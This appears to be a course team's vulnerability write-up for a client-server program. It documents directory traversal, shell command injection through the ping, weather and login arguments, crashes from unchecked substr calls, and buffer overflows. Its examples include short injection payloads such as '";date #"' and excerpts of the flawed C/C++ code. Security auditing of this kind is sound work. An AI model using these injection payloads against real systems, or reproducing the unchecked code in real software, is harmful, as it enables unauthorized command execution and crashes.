Team7

Directory Traversal

- No home folders created ?

```
login n
Enter password
pass 1
You've logged in
ls
total 468
-rwxr-x--- 1 njaganna njaganna 116840 Mar 15 18:53 client
-rw-rw-r-- 1 njaganna njaganna  35147 Mar 14 19:49 LICENSE
-rw-rw-r-- 1 njaganna njaganna   1037 Mar 14 19:49 Makefile
drwxr-x--- 2 njaganna njaganna   4096 Mar 15 18:53 obj
-rwxr-x--- 1 njaganna njaganna 305200 Mar 15 18:53 server
-rw-rw-r-- 1 njaganna njaganna    328 Mar 15 19:22 sploit.conf
drwxrwxr-x 2 njaganna njaganna   4096 Mar 14 19:49 src
cd ..
/u/antor/u6/njaganna/CS527Phase2/team7
cd ..
/u/antor/u6/njaganna/CS527Phase2
cd /
/
```

- This can be used to overwrite the configuration file and thus allows for command injection.

Command Injection

- ping command doesn't filter ';'

```
ping google.com -c 1";date #"
Thu Mar 15 20:14:21 EDT 2018
```

- weather also has a similar vulnerability

```
weather gotham";date #"
Thu Mar 15 20:21:34 EDT 2018
```

- After the user is logged in, all commands which do not match any predefined command are passed to the shell. Commands are checked to see if they are valid commands using regex, but arguments are only checked for special characters.

```
login n
Enter password
pass 1
You've logged in
login
login: Cannot possibly work without effective root
login ;date
Sat Mar 17 10:44:13 EDT 2018
```

Server crash

- login and pass commands do not check if parameters are present or not. This causes the server to crash. As multiple clients are handled using threads, the whole server crashes.

```
if (command == "login"){
  current_uname = commandLine.substr(6); // Tries to access 6ht position which
doesn't exist.

if (command == "pass"){
  string pass = commandLine.substr(5); // Similar
```

```
mc08 54 $ ./server
terminate called after throwing an instance of 'std::out_of_range'
  what():  basic_string::substr: __pos (which is 6) > this->size() (which is 5)
Aborted (core dumped)
mc08 55 $
```

Buffer Overflow

- The command_buf has a fixed size of 100 bytes. Both input and length are dependent on user input

```
int is_clean_command(const char *input, int length){
    regex_t re = compile_regex(legal_commands_regex);
    if (is_forbidden_command(input)
        || has_special_characters(strncpy(command_buf, input, length))){
        clear_buf();
        return 0;
    }
```

- If command sent is of max length, the code will try to access an invalid array position.

```
char buf[2048];
string s = "";
int c_read = 0;
while((c_read=read(sock, buf, 2047)) == 2047){
    buf[2048] = 0;
    s += buf;
}
```